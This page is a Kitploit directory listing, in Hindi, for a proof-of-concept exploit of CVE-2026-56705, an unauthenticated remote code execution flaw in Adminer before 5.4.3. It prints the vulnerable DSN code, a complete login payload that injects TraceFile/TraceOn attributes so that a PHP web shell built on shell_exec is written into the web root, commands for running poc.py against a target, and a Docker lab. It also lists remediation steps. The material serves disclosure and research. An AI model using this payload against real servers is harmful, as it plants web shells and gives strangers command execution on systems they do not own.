Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-56705 — PoC एक्सप्लॉइट Adminer < 5.4.3 के लिए MSSQL PDO DSN इंजेक्शन के माध्यम से बिना प्रमाणीकरण के RCE, जिसमें Docker लैब और नेगेटिव टेस्ट शामिल है। | Kitploit
उपकरण/GitHubGitHub/boreas37/cve-2026-56705
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारेड टीमिंगलैब और अभ्यास
GitHubboreas37/cve-2026-56705

CVE-2026-56705

PoC एक्सप्लॉइट Adminer < 5.4.3 के लिए MSSQL PDO DSN इंजेक्शन के माध्यम से बिना प्रमाणीकरण के RCE, जिसमें Docker लैब और नेगेटिव टेस्ट शामिल है।

रिपॉजिटरी देखें
21 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-56705: Adminer < 5.4.3 — MSSQL PDO DSN इंजेक्शन के माध्यम से बिना प्रमाणीकरण के RCE

CVECVE-2026-56705
GHSAGHSA-r4x9-5m63-3vxw (विक्रेता सलाह) / GHSA-34q8-53jm-qc2r (GitHub DB)
उत्पादAdminer (एकल-फ़ाइल PHP डेटाबेस प्रबंधन उपकरण)
प्रभावितpdo_sqlsrv + SQL Server के लिए Microsoft ODBC ड्राइवर वाला Adminer < 5.4.3
संस्करण में ठीक किया गया5.4.3
CVSS9.8 क्रिटिकल (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
प्रकारCWE-20 → बिना प्रमाणीकरण के मनमाना फ़ाइल लेखन → RCE

सारांश

Adminer MSSQL कनेक्शन के लिए PDO DSN बनाने से पहले उपयोगकर्ता द्वारा प्रदान किए गए server फ़ील्ड को साफ़ करने में विफल रहता है:

root@kitploit:~
// adminer/drivers/mssql.inc.php
function attach(string $server, string $username, string $password): string {
    list($host, $port) = host_port($server);
    return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
}

server में अर्धविराम को ODBC कनेक्शन-विशेषता विभाजक के रूप में माना जाता है, इसलिए एक बिना प्रमाणीकरण वाला हमलावर DSN में मनमानी विशेषताएँ जोड़ सकता है — जिसमें TraceFile और TraceOn शामिल हैं। unixODBC ट्रेस सुविधा पूर्ण कनेक्शन स्ट्रिंग (UID={username} शब्दशः सहित) को TraceFile में कनेक्शन प्रयास सफल होने से पहले और उसकी परवाह किए बिना लिखती है। username फ़ील्ड के माध्यम से PHP कोड इंजेक्ट करना और TraceFile को वेब रूट में इंगित करना एक वेब शेल उत्पन्न करता है।

एक भी बिना प्रमाणीकरण वाला लॉगिन POST पर्याप्त है। कोई मान्य क्रेडेंशियल नहीं, कोई उपयोगकर्ता इंटरैक्शन नहीं।

शोषण

root@kitploit:~
auth[driver]   = mssql
auth[server]   = 127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1
auth[username] = <?php echo 'POC::'.shell_exec($_GET['c']);?>
auth[password] = x
  1. लॉगिन POST DSN sqlsrv:Server=127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1 बनाता है
  2. ODBC ड्राइवर प्रबंधक UID={<?php ... ?>} युक्त एक ट्रेस /var/www/shell.php में लिखता है
  3. कनेक्शन विफल हो जाता है (अपेक्षित, अप्रासंगिक) — फ़ाइल पहले ही लिखी जा चुकी है
  4. GET /shell.php?c=id → कमांड निष्पादित होता है

उपयोग

root@kitploit:~
# केवल फ़िंगरप्रिंट
python3 poc.py --target http://target/adminer.php --check

# पूर्ण शोषण (वेब रूट में <random>.php लिखता है)
python3 poc.py --target http://target/adminer.php --command "id"

प्रयोगशाला पुनरुत्पादन

root@kitploit:~
cd lab/
docker build -t adminer-cve-2026-56705 .
docker run -d -p 8081:8081 adminer-cve-2026-56705
python3 ../poc.py --target http://localhost:8081/adminer.php --command id

प्रयोगशाला इमेज सलाह की पूर्वापेक्षाओं को बिल्कुल दर्शाती है: php:8.3-cli + pdo_sqlsrv (pecl) + msodbcsql18, वेब रूट PHP प्रक्रिया द्वारा लिखने योग्य है।

उपचार

  • Adminer 5.4.3+ में अपग्रेड करें।
  • यदि आप तुरंत अपग्रेड नहीं कर सकते: mssql ड्राइवर को हटाएँ/ब्लॉक करें, या रिवर्स प्रॉक्सी पर उपयोगकर्ता द्वारा प्रदान किए गए server मानों से ; (और व्हाइटस्पेस) हटाएँ।
  • गहराई में सुरक्षा के रूप में PHP-FPM/CLI उपयोगकर्ता के लेखन से वेब रूट को प्रतिबंधित करें।

श्रेय

विक्रेता सलाह खोज का श्रेय संयुक्त रूप से रिपोर्टर और यशर शाहिनज़ादेह (@voorivex) को देती है।

PoC और प्रयोगशाला: हमज़ा काग्रीसी (@Boreas37)

समयरेखा

दिनांकघटना
2026-08-25CVE प्रकाशित / Adminer 5.4.3 में ठीक किया गया
टूल डाउनलोड करें